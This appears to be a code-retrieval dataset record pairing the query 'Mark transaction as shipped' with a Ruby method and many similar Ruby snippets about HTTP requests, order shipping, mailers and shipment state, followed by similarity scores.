"def call(env)\n # Create a NakedModel::Request from the environment\n request = Request.from_env(env,namespace)\n\n # Push pseuo-path arguments, turning http methods into special case methods to call on adapters\n # TODO wrap << in request\n# case request.request.request_method\n# when 'POST'\n# request.chain << 'create'\n# when 'PUT'\n# request.chain << 'update'\n# when 'DELETE'\n# # TODO traverse back up the chain....\n# end\n\n\n\n # Resolve the request to its end, catching errors thrown during the resolution\n begin\n resolved = request.chain.reduce(namespace) do |progress,fragment| \n request.decorate progress.rel(fragment)\n end\n\n rescue NakedModel::RecordNotFound\n return [404, {'Content-Type' => 'text/plain'}, [\"Not found: #{request.request.url}\"]]\n rescue NakedModel::CreateError => e\n return [409, {'Content-Type' => 'text/plain'}, [e.message]]\n rescue NakedModel::UpdateError => e\n return [406, {'Content-Type' => 'text/plain'}, [e.message]]\n end\n\n # Serialize the final object for returning to the client\n body = resolved.as_json request\n\n # The world's a beautiful place, acknowledge our success\n return [200, {'Content-Type' => 'application/json'}, [body.to_json]]\n end",
"def parse(uri, response, body); end",
"def execute(request)\n begin\n response = @request_class.execute(adapt_request(request))\n if response.nil?\n raise HttpConnectionError, \"Did not receive proper response\"\n else\n return adapt_response(response)\n end\n rescue RestClient::ExceptionWithResponse => e\n if e.response.nil?\n raise HttpConnectionError, \"Did not receive proper response\"\n else\n return adapt_response(e.response)\n end\n rescue RestClient::Exception\n raise HttpConnectionError, \"A transport error has occured\"\n rescue Net::HTTPServerException, Net::HTTPFatalError, SocketError,\n Errno::ECONNREFUSED, Errno::ECONNRESET, OpenSSL::SSL::SSLError,\n Errno::EADDRNOTAVAIL\n raise HttpConnectionError, \"An enxpected transport error\"\\\n \" has occured\"\n end\n end",
"def response\n @response ||= Net::HTTP.new(uri.host).request(request)\n end",
"def execute(request)\n request.pretty_print\n element = @pt.extract(URI.parse(request.get_uri_path))\n if element.nil? then\n request.respond(CR[:not_found])\n else\n primary(request, element)\n end\n request.send_response\n ## XXX: do we need to be able to really handle\n ## this method in a custom fashion?\n end",
"def response\n return launch_response if @echo_request.launch_request?\n return end_session_response if @echo_request.session_ended_request?\n\n ResponseFactory.new(@echo_request, @echo_response).response\n # SessionFactory.new(@echo_request, @echo_response).response\n end",
"def prepare_response\n self.send(route, parse_query)\n end",
"def requestor(req, json = nil)\n res = Net::HTTP.start(@host, @port, {:use_ssl => true}) { |http|\n create_the_request(req, json, http)\n }\n unless res.kind_of?(Net::HTTPSuccess)\n # let rails and sinatra handle this or print out if using ruby i say if, elsif, else\n handle_error(req, res)\n end\n res\n end",
"def some_method(request, _unused_call)\n # Write you own logic here how to handle the request\n ProtobufRubyExample::Proto::ResponsePb.new(status: 'ok')\n end",
"def handle( request ) # note: all 'handle's return 'ml_response' in a chain\n\n# not yet request.record_arrival_time\n ml_response =\n case\n when request.get? then handle_get_muffin(request)\n when request.post? then handle_post(request)\n end\n# not yet request.record_completion_time\n ml_response\n end",
"def make_response(status, body)\r\n {\r\n statusCode: status,\r\n body: JSON.generate(body)\r\n }\r\nend",
"def make_request(request)\n result = self.class.post('/', body: request.to_json)\n\n if result.code >= 500\n raise Webceo::Api::ServerError.new(result.code, result.body)\n end\n\n if result.code >= 400\n raise Webceo::Api::ClientError.new(result.code, result.body)\n end\n\n Webceo::Api::Response.new(result.code, result.body, result.headers, result.message)\n end",
"def submit(request)\n url = request.to_url\n ActiveSupport::Notifications.instrument(\"amazon_flex_pay.api\", :action => request.action_name, :request => url) do |payload|\n begin\n http = RestClient.get(url)\n\n payload[:response] = http.body\n payload[:code] = http.code\n\n response = request.class::Response.from_xml(http.body)\n response.request = request\n response\n\n rescue RestClient::BadRequest, RestClient::Unauthorized, RestClient::Forbidden => e\n payload[:response] = e.http_body\n payload[:code] = e.http_code\n\n er = AmazonFlexPay::API::BaseRequest::ErrorResponse.from_xml(e.response.body)\n klass = AmazonFlexPay::API.const_get(er.errors.first.code)\n raise klass.new(er.errors.first.code, er.errors.first.message, er.request_id, request)\n end\n end\n end",
"def request(params, &block)\n begin\n # connection has defaults, merge in new params to override\n params = @connection.merge(params)\n params[:headers] = @connection[:headers].merge(params[:headers] || {})\n params[:headers]['Host'] ||= '' << params[:host] << ':' << params[:port]\n\n # if path is empty or doesn't start with '/', insert one\n unless params[:path][0, 1] == '/'\n params[:path].insert(0, '/')\n end\n\n if params[:mock]\n for stub, response in Excon.stubs\n # all specified non-headers params match and no headers were specified or all specified headers match\n if [stub.keys - [:headers]].all? {|key| stub[key] == params[key] } &&\n (!stub.has_key?(:headers) || stub[:headers].keys.all? {|key| stub[:headers][key] == params[:headers][key]})\n case response\n when Proc\n return Excon::Response.new(response.call(params))\n else\n return Excon::Response.new(response)\n end\n end\n end\n # if we reach here no stubs matched\n raise(Excon::Errors::StubNotFound.new('no stubs matched ' << params.inspect))\n end\n\n # start with \"METHOD /path\"\n request = params[:method].to_s.upcase << ' '\n if @proxy\n request << params[:scheme] << '://' << params[:host] << ':' << params[:port]\n end\n request << params[:path]\n\n # add query to path, if there is one\n case params[:query]\n when String\n request << '?' << params[:query]\n when Hash\n request << '?'\n for key, values in params[:query]\n if values.nil?\n request << key.to_s << '&'\n else\n for value in [*values]\n request << key.to_s << '=' << CGI.escape(value.to_s) << '&'\n end\n end\n end\n request.chop! # remove trailing '&'\n end\n\n # finish first line with \"HTTP/1.1\\r\\n\"\n request << HTTP_1_1\n\n # calculate content length and set to handle non-ascii\n unless params[:headers].has_key?('Content-Length')\n params[:headers]['Content-Length'] = case params[:body]\n when File\n params[:body].binmode\n File.size(params[:body])\n when String\n if FORCE_ENC\n params[:body].force_encoding('BINARY')\n end\n params[:body].length\n else\n 0\n end\n end\n\n # add headers to request\n for key, values in params[:headers]\n for value in [*values]\n request << key.to_s << ': ' << value.to_s << CR_NL\n end\n end\n\n # add additional \"\\r\\n\" to indicate end of headers\n request << CR_NL\n\n # write out the request, sans body\n socket.write(request)\n\n # write out the body\n if params[:body]\n if params[:body].is_a?(String)\n socket.write(params[:body])\n else\n while chunk = params[:body].read(CHUNK_SIZE)\n socket.write(chunk)\n end\n end\n end\n\n # read the response\n response = Excon::Response.parse(socket, params, &block)\n\n if response.headers['Connection'] == 'close'\n reset\n end\n\n response\n rescue Excon::Errors::StubNotFound => stub_not_found\n raise(stub_not_found)\n rescue => socket_error\n reset\n raise(Excon::Errors::SocketError.new(socket_error))\n end\n\n if params.has_key?(:expects) && ![*params[:expects]].include?(response.status)\n reset\n raise(Excon::Errors.status_error(params, response))\n else\n response\n end\n\n rescue => request_error\n if params[:idempotent] && [Excon::Errors::SocketError, Excon::Errors::HTTPStatusError].include?(request_error)\n retries_remaining ||= 4\n retries_remaining -= 1\n if retries_remaining > 0\n retry\n else\n raise(request_error)\n end\n else\n raise(request_error)\n end\n end",
"def execute\n @response ||= begin\n Config[:instrumenter].instrument(\"request.search_flip\", index: target, request: request) do |payload|\n response = execute!\n\n payload[:response] = response\n\n response\n end\n end\n end",
"def response(arguments = {})\n Response.new(self, arguments)\n end",
"def request\n response.request\n end",
"def response #:nodoc:\n current_params = request.params\n @response ||= {}\n return @response[current_params] if @response.has_key? current_params\n response_object = Response.new self\n response_object.load_data\n @response[current_params] = response_object\n end",
"def request(attrs={})\n request = her_api.request(attrs)\n\n if block_given?\n yield request[:parsed_data], request[:response]\n else\n { :parsed_data => request[:parsed_data], :response => request[:response] }\n end\n end",
"def call\n resource = base_resource\n\n response = (\n case request_method\n when :get\n resource.get fill do |req|\n (req.body = source) if source\n end\n when :head\n resource.head fill\n when :delete\n resource.delete(fill) do |req|\n req.body = source if source\n end\n when :post\n resource.post(fill, source)\n when :put\n resource.put(fill, source)\n end\n )\n \n response\n end",
"def parse(response)\n\nend",
"def call(call_url = self.call_url, arguments = self.arguments, resending = false)\n Postage.logger.info \"Sending Request [UID: #{self.uid} URL: #{call_url}] \\n#{arguments.inspect}\\n\"\n \n self.arguments[:uid] = self.uid\n self.arguments[:plugin_version] = Postage::PLUGIN_VERSION\n \n body = { :api_key => Postage.api_key, :arguments => arguments }.to_json\n \n Timeout::timeout(5) do\n self.response = self.class.post( call_url, :headers => HEADERS, :body => body )\n end\n \n Postage.logger.info \"Received Response [UID: #{self.uid}] \\n#{self.response.inspect}\\n\"\n \n resend_failed_requests unless resending\n return Postage::Response.new(self.response)\n \n rescue Timeout::Error, SocketError, Exception => e\n Postage.logger.error \"Failure [UID: #{self.uid}] \\n#{e.inspect}\"\n \n store_failed_request(e) unless resending \n return nil # no response generated\n end",
"def do_request(request_string)\n\n RestClient.log = logger if (logger.debug? and TRACE != FalseClass)\n\n # make the request specific to the separately configured API.\n url=format_url(request_string)\n logger.debug \"#{self.class.to_s}:#{__method__}:#{__LINE__}: url: #{url}\"\n r = Stopwatch.new(Thread.current.to_s+\": \"+url)\n r.start\n begin\n response = RestClient.get url, {:Authorization => \"Bearer #{@token}\",\n 'x-ibm-client-id' => @key,\n :accept => :json,\n :verify_ssl => true}\n\n # If the request has more data pull out the external url to get it.\n more_url = process_link_header(response)\n # fix it up to go through our proxy.\n more_url = reduce_url(more_url, request_string)\n\n ## try to parse as json. If can't do that generate an error.\n json_response = JSON.parse(response)\n\n ## json_response is a JSON object. Only print part of it.\n logger.debug \"#{self.class.to_s}:#{__method__}:#{__LINE__}: esb response as json\"+JSON.generate(json_response)[0..30]\n\n # fix up the json a bit.\n json_response = standardize_json(json_response, response)\n\n ####### Now we have a parsed json object\n # figure out the overall response code for the request. That may come from the esb call or data returned\n # from the request url\n rc = compute_response_code_to_return(json_response, response)\n\n ## We have parsed JSON, now make it a json string so it can be returned\n json_response = JSON.generate(json_response)\n\n wrapped_response = WAPIResultWrapper.new(rc, \"COMPLETED\", json_response, more_url)\n\n ### handle some error conditions explicitly.\n rescue URI::InvalidURIError => exp\n logger.debug \"#{self.class.to_s}:#{__method__}:#{__LINE__}: invalid URI: \"+exp.to_s\n wrapped_response = WAPIResultWrapper.new(WAPIStatus::BAD_REQUEST, \"INVALID URL\", exp.to_s)\n\n rescue StandardError => exp\n logger.debug \"#{self.class.to_s}:#{__method__}:#{__LINE__}: exception: \"+exp.inspect\n if exp.response.code == WAPIStatus::HTTP_NOT_FOUND\n wrapped_response = WAPIResultWrapper.new(WAPIStatus::HTTP_NOT_FOUND, \"NOT FOUND\", exp)\n else\n wrapped_response = WAPIResultWrapper.new(WAPIStatus::UNKNOWN_ERROR, \"EXCEPTION\", exp)\n end\n end\n\n r.stop\n logger.info \"#{self.class.to_s}:#{__method__}:#{__LINE__}:do_request: stopwatch: \"+ r.pretty_summary\n wrapped_response\n end",
"def process(*args)\n req = Request.create self, *args\n req.apply\n req\n end"
] | [
"0.71191156",
"0.6838894",
"0.6807015",
"0.6728536",
"0.66726595",
"0.66388273",
"0.660162",
"0.65797234",
"0.657898",
"0.64859647",
"0.63811564",
"0.63761127",
"0.6358195",
"0.63533",
"0.63533",
"0.62757105",
"0.62738806",
"0.62719804",
"0.6256944",
"0.625419",
"0.62417114",
"0.61886555",
"0.617509",
"0.61746377",
"0.61588293",
"0.61508435",
"0.6133337",
"0.6128515",
"0.6122667",
"0.61063623",
"0.6101442",
"0.6078561",
"0.60416687",
"0.60362685",
"0.60348815",
"0.60280615",
"0.6003884",
"0.5999747",
"0.5998539",
"0.5991651",
"0.5990627",
"0.5989546",
"0.59805846",
"0.59599125",
"0.59569955",
"0.5944072",
"0.59411967",
"0.5936698",
"0.5927186",
"0.5926593",
"0.5906885",
"0.5905069",
"0.58685374",
"0.58568645",
"0.58369684",
"0.58228153",
"0.5822067",
"0.5821047",
"0.581677",
"0.58157176",
"0.5812592",
"0.58094066",
"0.58035946",
"0.57915694",
"0.5784682",
"0.57827234",
"0.57811046",
"0.57804495",
"0.57658863",
"0.57641727",
"0.5760851",
"0.57437617",
"0.57427484",
"0.5740679",
"0.57403845",
"0.57378405",
"0.573175",
"0.5729331",
"0.5729091",
"0.5727689",
"0.5707727",
"0.57052845",
"0.5701994",
"0.56972",
"0.5694414",
"0.5676625",
"0.5668886",
"0.565452",
"0.56509256",
"0.56500494",
"0.5647101",
"0.5641578",
"0.56408644",
"0.5638157",
"0.56372565",
"0.5636988",
"0.56356776",
"0.56319743",
"0.5627905",
"0.5626609"
] | 0.7174503 | 0 |
Mark transaction as shipped | def mark_order_shipped(transaction_id, postal_company, tracking_number)
request = MarkOrderShipped::Request.new(
transaction_id: transaction_id,
postal_company: postal_company,
tracking_number: tracking_number
)
response = call(request)
return response
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def mark_as_shipped\n self.shipped_at = Time.now\n end",
"def ship\n raise NotAllowed unless submitted?\n raise NotAllowed if shipped?\n\n apply(Orders::OrderShipped.strict(data: {\n order_uuid: @uuid,\n order_number: @number\n }))\n end",
"def mark_shipped\n @orderproduct = OrderProduct.find(params[:current_order_product].to_i)\n @orderproduct.shipped = true\n @orderproduct.save\n\n redirect_to selling_history_path\n end",
"def ship\n count = 0\n if things_to_ship = params[:to_be_shipped]\n count = do_shipping(things_to_ship)\n if count > 0\n count_text = pluralize(count, \"order\")\n flash.now[:notice] = \"#{count_text} marked as shipped\"\n end\n end\n @pending_orders = Order.pending_shipping\n end",
"def mark_as_shipped\n @context.no_going_back\n\n list = @data.display_list\n update_from_form(list)\n\n list.each do |address_entry|\n address_entry.each_order do |order_info|\n next unless order_info.ship_order\n\n order = Order.with_id(order_info.order_id)\n\n if order\n order.mark_as_shipped\n else\n raise \"Missing order\"\n end\n\n end\n end\n @session.pop\n end",
"def ship!(consignment_number, user = nil)\n run_callbacks :ship do\n self.shipped_at = Time.now\n self.shipper = user if user\n self.status = 'shipped'\n self.consignment_number = consignment_number\n self.save!\n Shoppe::OrderMailer.shipped(self).deliver_now\n end\n end",
"def ship\n if @reservation.update(ship_params) && @reservation.ship\n redirect_to reservations_path, notice: \"Reservation shipped.\"\n else\n render :mark_shipped, alert: @reservation.errors\n end\n end",
"def shipped\n order = Order.last\n\n OrderMailer.shipped(order)\n end",
"def shipped\n \n end",
"def ship_order\n self.update_attributes(status: 2)\n end",
"def shipped=(value)\n return unless value == '1' && shipped_at.nil?\n self.shipped_at = Time.current\n end",
"def after_ship\n inventory_units.each { |u| u.ship! if u.can_ship? && !u.state?('shipped') }\n end",
"def shipped(order)\n @order = order\n\n mail to: order.email, subject: \"Your Favorite Store Order Shipped\"\n end",
"def shipped(order)\n @order = order\n\n mail to: order.email, subject: 'Pragmatic Store Order Shipped'\n end",
"def shipped(order)\n @order = order\n mail to: order.email, subject: 'Pragmatic Store Order shipped'\n end",
"def shipped(order)\n @order = order\n\n mail to: order.email,subject: \"Pragmatic Store Order Shipped\"\n end",
"def shipped\n order = Order.second\n items = LineItem.where(order_id: order.id)\n items.each do |item|\n order.line_items << item\n end\n OrderNotifier.shipped(order)\n end",
"def shipped(order)\n @order = order\n\n puts \">> shipped order email sent\"\n\n mail to: @admin_email, subject: 'Pragmatic Store Order Shipped'\n end",
"def after_ship\n inventory_units.each &:ship!\n Spree::OrderMailer.giftor_shipped_email(self.order).deliver() unless Spree::MailLog.has_email_been_sent_already?(self.order, 'Order::giftor_shipped_email')\n Spree::OrderMailer.giftee_shipped_email(self.order).deliver() if (self.order.is_gift? && !self.order.gift.email.blank? && !Spree::MailLog.has_email_been_sent_already?(order, 'Order::giftee_shipped_email'))\n end",
"def shipped(order)\n @order = order \n\n mail to: order.email, subject: 'justEat Order Shipped'\n end",
"def shipped\n OrderNitifierMailer.shipped\n end",
"def order_shipped(order)\n @order = order\n\n mail :subject => \"order shipped!\"\n end",
"def shipped(order)\n @order = order\n mail to: order.email, subject: 'PMAC Store Order Shipped'\n end",
"def ship_items\n if current_user && current_user.seller\n @cart_item = CartItem.find_by(cart_id: params[:cart_id], item_id: params[:item_id])\n @cart_item.update(shipped: true)\n redirect_to buyer_orders_path\n else\n redirec_to root_path\n end\n end",
"def shipped(order)\n @order=order\n mail(\n to: order.email,\n subject: 'BookShelf Order Shipped',\n from: \"BookShelf\",\n return_path: \"[email protected]\",\n date: Time.now,\n template_path: 'order_notifier',\n template_name: 'shipped'\n )\n end",
"def shipped(morder)\n @morder = morder\n\n mail to: morder.email, subject: \"Pragmatic Store Order Shipped\"\n end",
"def ship(tracking_number, shipped_at)\n if Spree::Config.dmi_capture_on_ship\n success = capture_pending_payments && update_shipments(tracking_number, shipped_at)\n else\n success = update_shipments(tracking_number, shipped_at)\n end\n\n log_shipping_errors unless success\n success\n end",
"def order_shipped(order)\n \t@order = order\n mail to: order.email, subject: 'Pragmatic Store Order Shipped'\n end",
"def shipped(order)\n @order = order\n\n mail to: order.email, subject: 'Fast Find Auto Parts Order Shipped'\n end",
"def order_shipped\n\t\torder = Order.first\n\t\tOrderMailer.order_shipped(order)\n end",
"def shipped(order)\n @order = order\n \n mail :to => order.email, :subject => 'Montagna Verde Order Shipped'\n end",
"def order_shipped\n @order = order\n\n mail :to => \"[email protected]\", :subject => 'Pragmatic Store Order Shipped'\n end",
"def shipped\n OrderinshopMailer.shipped\n end",
"def shipped(order)\n @order = order\n\n mail to: order.e_mail, subject: 'Eloctronic Shop Order Shipped'\n end",
"def shipped(order)\n @order = order\n mail to: \"[email protected]\"\n end",
"def shipped\n OrderMailer.shipped\n end",
"def shipped\n OrderMailer.shipped\n end",
"def mark_as_shipped\n each_line {|li| li.mark_as_shipped}\n end",
"def shipped\n OrderNotifer.shipped\n end",
"def shipped(order)\n @order = order\n\n mail to: order.email, subject: 'Envío de compra Farmacia Zi'\n end",
"def shipped\n OrderNotifier.shipped\n end",
"def shipped\n OrderNotifier.shipped\n end",
"def shipped(order)\n @order = order\n\n mail to: order.email, subject: '8 facts you will never believe! Doctors hate it!'\n end",
"def shipped\n OrderNotifierMailer.shipped\n end",
"def shipped(order)\n @greeting = \"Hi\"\n @order = order\n\n mail to: \"[email protected]\", subject: \"Success! You shipped it.\"\n end",
"def shipped (order)\n @order=order\n\n mail to: order.email, subject: \"You are receiveing the first Mail from Depot App\"\n end",
"def update_shipped!\n update!(shipped: completed_transfer_items.sum(:amount))\n end",
"def set_ship(unit)\n @ship = true\n @unit = unit\n end",
"def shipped\n OrderNotified.shipped\n end",
"def buy_ship(other)\n @credits -= (other.price - @start_ship.tradein)\n @start_ship.mission_cargo.each do | cargo |\n other.add_cargo(cargo, cargo.amount)\n end\n @start_ship = other.dup\n end",
"def shipped(order)\n @order = order\n\n # defaults to using html template\n mail to: order.email, subject: \"O'Trendy Store Order Shipped\"\n end",
"def order_shipped\n @order = order\n\n mail to: order.email, subject: 'Objednávka z obchodu Pragmatická Ivona byla odeslána'\n end",
"def mark_stuff_shipped(values)\n values['address_list'] = @data.display_list.map do |address|\n address.add_to_hash({})\n end\n\n values['update_url'] = url(:mark_as_shipped)\n standard_page(\"Confirm Shipping\", values, CONFIRM_SHIPPING)\n end",
"def shipped(order)\n @order = order\n mail to: order.mail, subject: 'Заказ из GlebKs stall отправлен'\n end",
"def shipped(order)\r\n @order = order\r\n mail to: order.email, subject: 'Заказ из Pragmatic Store отправлен'\r\n end",
"def set_shipper_update\n if order_status_id == 1\n Order.find(id).update_column(:shipper_id, 7)\n Order.find(id).update_column(:ship_date, nil)\n Order.find(id).update_column(:shipping_number, nil)\n end\n end",
"def update\n @shipment.address = @shipment_presenter.address \n @shipment.tracking = @shipment_presenter.shipment.tracking\n @shipment.cost = @shipment_presenter.shipment.cost\n @shipment.shipped_at = Time.now if params[:mark_shipped] \n unless @shipment_presenter.valid? and @shipment.save\n render :action => \"edit\" and return\n end\n @order.state_events.create(:name => t('ship'), :user => current_user, :previous_state => @order.state) if params[:mark_shipped]\n flash[:notice] = t('updated_successfully')\n redirect_to edit_object_url\n end",
"def shipped?\n !!self.shipped_at?\n end",
"def update_shipped_shipments(inventory_units)\n shipments = Spree::Shipment.\n includes(:inventory_units).\n where(id: inventory_units.map(&:shipment_id)).\n to_a\n\n shipments.each do |shipment|\n if shipment.inventory_units.all? { |iu| iu.shipped? || iu.canceled? }\n shipment.update_attributes!(state: 'shipped', shipped_at: Time.current)\n end\n end\n end",
"def ship_reward_now\n\t\t@reward_receiver = RewardReceiver.find(params[:reward_receiver_id])\n\t\t@reward_receiver.update(reward_receiver_params)\n\t\tif @reward_receiver.update(\n\t\t\tstatus: \"shipped\"\n\t\t)\n\t\t#Send email\n\t\t#Send notification\n\t\t#Add xp\n\t\[email protected]_score(\"ship_reward\")\n\t\tend\n\t\tredirect_to show_user_studio_rewards_path(@reward_receiver.reward.user_id,@reward_receiver.reward_id)\n\tend",
"def set_shipper_save\n if order_status_id == 1\n Order.find(id).update_column(:shipper_id, 7)\n Order.find(id).update_column(:ship_date, nil)\n Order.find(id).update_column(:shipping_number, nil)\n end\n end",
"def delivered!\n self.delivered_at = Time.now\n self.save!\n end",
"def update_shipments(tracking_number, shipped_at)\n shipment = order.shipments.first\n\n shipment.shipped_at = shipped_at\n shipment.tracking = tracking_number\n success = shipment.ship\n\n copy_errors(shipment) unless success\n success\n end",
"def mark_as_delivered\n order = Order.find(params[:id])\n order.delivered_at = DateTime.now\n order.save!\n redirect_to orders_path\n end",
"def order_shipped(order)\r\n @order = order\r\n\r\n mail :to => order.email, \r\n :subject => 'Objednávka z Pragmatické knihovny byla odeslána'\r\n end",
"def shipped\n CommentMailer.shipped\n end",
"def check_and_update_prepaid_shipment_status!\n update_attribute(:shipment_status_checked_at, Time.zone.now)\n ship! if SHIPPING_LABELS.shipped?(shipping_label.tx_id)\n end",
"def complete!\n return false unless pending? && transfer.feasible?\n transfer.complete!\n update shipped_at: Time.current\n order.update_shipped!\n email.shipment(to: order.billing_recipient)&.deliver_later if order.billing_address.present?\n email.shipment(to: order.shipping_recipient, bcc: false)&.deliver_later if order.has_contact_email?\n true\n end",
"def ship(shipper, recipient, package, options = {})\n options = @options.update(options)\n package = package\n \n ship_request = build_ship_request(shipper, recipient, package, options)\n \n xml = commit(save_request(ship_request), (options[:test] || false))\n response = remove_version_prefix(xml)\n \n begin\n return parse_ship_response(shipper, recipient, package, response, options), ship_request\n rescue\n xml = REXML::Document.new(response)\n message = response_message(xml)\n raise message\n end\n end",
"def set_ship_info\n @ship_info = @order_info.ship_info\n end",
"def shipped\n @greeting = \"Hi\"\n @order = order\n mail(to: order.email, subject: 'Your Chocolate Bar order was received')\n end",
"def buy\n shipment = Shipment.find(params[:shipment_id])\n shipment.update_column(:affiliate_shipping_account, params[:affiliate_shipping_account] == \"true\")\n EasyPost.api_key = shipment.easy_post_api_key\n\n begin\n ep_shipment = EasyPost::Shipment.retrieve(params[:ep_shipment_id])\n easypost_purchase(shipment, params[:rate_id], ep_shipment)\n ShipmentItem.where(shipment_id: shipment.id, special_status: \"\").update_all(special_status: :shipped)\n rescue => e\n flash[:error] = e.message + params[:ep_shipment_id]\n return redirect_back(fallback_location: admin_root_path)\n end\n\n redirect_to admin_store_shipment_path(shipment)\n end",
"def force_ship(session)\n each_line do |line|\n PaymentActions.process_payment(session, \n line,\n self)\n end\n end",
"def shipped(order)\n @order = order\n mail to: order.email, subject: 'Заказ из Card Shop отправлен'\nend",
"def shipped(order)\n @order = order\n mail to: order.email, subject: 'Pragmatic Store Order Shipped'\n puts order.to_yaml\n puts \"Mail to: #{mail.to}\"\n puts \"Mail from: #{mail.from}\"\n puts \"Mail subject: #{mail.subject}\"\n puts \"Mail Body:\"\n puts mail.body.encoded\n end",
"def ship\n load_info\n @shipment = Shipment.includes({:order_items => :variant}).find(params[:id])\n\n respond_to do |format|\n if @shipment.ship!\n format.html { redirect_to(admin_fulfillment_shipment_path(@shipment, :order_id => @shipment.order.number), :notice => 'Shipment was successfully updated.') }\n else\n format.html { redirect_to(admin_fulfillment_shipment_path(@shipment, :order_id => @shipment.order.number), :error => 'Shipment could not be shipped!!!') }\n end\n end\n end",
"def ship\n load_info\n @shipment = Shipment.includes({:order_items => :variant}).find(params[:id])\n\n respond_to do |format|\n if @shipment.ship!\n format.html { redirect_to(admin_fulfillment_shipment_path(@shipment, :order_id => @shipment.order.number), :notice => 'Shipment was successfully updated.') }\n else\n format.html { redirect_to(admin_fulfillment_shipment_path(@shipment, :order_id => @shipment.order.number), :error => 'Shipment could not be shipped!!!') }\n end\n end\n end",
"def fire\n if @shipment.partial_shipped?\n @shipment.send_shipment_mail\n flash.notice = \"Mail has been sent\"\n else\n flash[:error] = \"Can not send shipping mail without any shipping events!\" \n end\n respond_with(@shipment) { |format| format.html { redirect_to :back } }\n end",
"def shipped?\n shipped == true\n end",
"def ship_to_existing\n address = Address.find params[:id]\n unless address.customer_id.eql?(@customer.id)\n redirect_to :controller=>'cart', :action=>'shipping_address'\n return\n end\n\n @cart.shipping_address = address\n unless @cart.billing_address\n @cart.billing_address = address\n end\n @cart.save\n redirect_to build_url_options_for_checkout\n end",
"def shipped(order)\n @order = order\n @greeting = \"Hello from rails4book\"\n\n mail to: order.email, subject: 'rails4book order shipped'\n end",
"def ship\n @shipment = @order.shipments.build(shipment_params)\n\n respond_to do |format|\n if @shipment.save\n @order.apply_shipping_cost!(@shipment)\n format.js { render :ship }\n else\n head :bad_request\n end\n end\n end",
"def process\n Trade::Shipment.update_all(\n { taxon_concept_id: @taxon_relationship.taxon_concept_id },\n {\n taxon_concept_id: @old_taxon_relationship.taxon_concept_id,\n reported_taxon_concept_id: @taxon_relationship.other_taxon_concept_id\n }\n )\n end",
"def set_shipment\n @shipment = @order.shipments.find(params[:id])\n end",
"def createAndPurchase(auth_obj, txid, includeDeliveryCommitment=nil, \n extraHdrs=nil, overwrite=true)\n hdrs = { PBShipping::txid_attrname => txid }\n if extraHdrs != nil\n hdrs.update(extraHdrs) \n end\n if includeDeliveryCommitment == nil\n params = { :includeDeliveryCommitment => false } \n else\n params = { :includeDeliveryCommitment => includeDeliveryCommitment } \n end \n api_sig = \"post/shipments\"\n api_version = PBShipping::get_api_version(api_sig)\n api_path = \"/shipments\"\n json_resp = PBShipping::api_request(\n auth_obj, :post, api_version, api_path, hdrs, params, self)\n if overwrite == true \n self.update(json_resp)\n self\n else\n Shipment.new(json_resp)\n end\n end",
"def update_shipment_state\n # get all the shipment states for this order\n shipment_states = shipments.states\n if shipment_states.size > 1\n # multiple shiment states means it's most likely partially shipped\n self.shipment_state = 'partial'\n else\n # will return nil if no shipments are found\n self.shipment_state = shipment_states.first\n if self.shipment_state\n # shipments exist but there are unassigned inventory units\n self.shipment_state = 'partial'\n end\n end\n\n self.state_changed('shipment')\n end",
"def update_shipment_state\n self.shipment_state =\n case shipments.count\n when 0\n nil\n when shipments.delivered.count\n 'delivered'\n when shipments.shipped.count\n 'shipped'\n when shipments.ready.count\n 'ready'\n when shipments.pending.count\n 'pending'\n else\n 'partial'\n end\n self.shipment_state = 'backorder' if backordered?\n\n if old_shipment_state = self.changed_attributes['shipment_state']\n self.state_events.create({\n :previous_state => old_shipment_state,\n :next_state => self.shipment_state,\n :name => 'shipment',\n :user_id => (Spree::User.respond_to?(:current) && Spree::User.current && Spree::User.current.id) || self.user_id\n })\n end\n end",
"def ship_to(*shipping_info)\n @ship_to = shipping_info\n end",
"def create \n # TODO - provide AJAX interface for setting shipping method instead of assuming first available\n shipment = @shipment_presenter.shipment\n shipment.order = @order\n shipment.shipping_method = ShippingMethod.first\n shipment.address = @shipment_presenter.address\n unless @shipment_presenter.valid? and shipment.save\n render :action => \"new\" and return\n end \n @order.state_events.create(:name => t('ship'), :user => current_user, :previous_state => @order.state) if params[:mark_shipped] \n flash[:notice] = t('created_successfully')\n redirect_to collection_url\n end",
"def order_shipped(order)\n @order = order\n mail :to => User.find_by_id(@order.user_id).email, :subject => \"来自Time international GmbH的包裹发送信息\"\n end",
"def shipped\n Notifier.shipped\n end",
"def set_shiping\n @shiping = Shiping.find(params[:id])\n end",
"def set_ship\n @ship = Ship.find(params[:id])\n end",
"def set_ship\n @ship = Ship.find(params[:id])\n end",
"def order_shipped\n @greeting = \"Hi\"\n\n mail to: \"[email protected]\"\n end",
"def order_shipped\n @greeting = \"Hi\"\n\n mail to: \"[email protected]\"\n end",
"def order_shipped\n @greeting = \"Hi\"\n\n mail to: \"[email protected]\"\n end",
"def order_shipped\n @greeting = \"Hi\"\n\n mail to: \"[email protected]\"\n end",
"def shipments(force=false)\n if !force and defined? @shipment\n @shipment\n elsif force or (self.shipping? and Shipment.possible_status.include? self.shipping.status)\n @shipment = super\n end\n end",
"def order_shipped(order)\n @order = order\n\n mail(to: @order.user.email , subject: 'Order Confirmation')\n end"
] | [
"0.8115377",
"0.74651915",
"0.7414874",
"0.7332863",
"0.72908676",
"0.7234468",
"0.7150125",
"0.7102819",
"0.70728207",
"0.7020315",
"0.6936508",
"0.6913142",
"0.69064534",
"0.6884379",
"0.6863928",
"0.6848972",
"0.683433",
"0.6821725",
"0.681026",
"0.6800161",
"0.6794064",
"0.6787294",
"0.67836535",
"0.6778811",
"0.6763087",
"0.67403215",
"0.66820014",
"0.668165",
"0.6680775",
"0.6679098",
"0.666236",
"0.6643917",
"0.66401803",
"0.6637025",
"0.6631908",
"0.66300356",
"0.66300356",
"0.655751",
"0.6554439",
"0.6549448",
"0.6535593",
"0.6535593",
"0.65223455",
"0.65133256",
"0.64903796",
"0.64831394",
"0.6465497",
"0.64642537",
"0.64323914",
"0.64294755",
"0.6425608",
"0.6418639",
"0.64079607",
"0.6395811",
"0.637013",
"0.6340354",
"0.63184845",
"0.6313602",
"0.62876624",
"0.62729883",
"0.6245637",
"0.62453645",
"0.6235851",
"0.6197076",
"0.6196058",
"0.6174356",
"0.61675483",
"0.61460316",
"0.6143587",
"0.6122134",
"0.60771203",
"0.60738766",
"0.6064313",
"0.6059474",
"0.6027112",
"0.602544",
"0.602544",
"0.60239774",
"0.60222375",
"0.6014217",
"0.6006902",
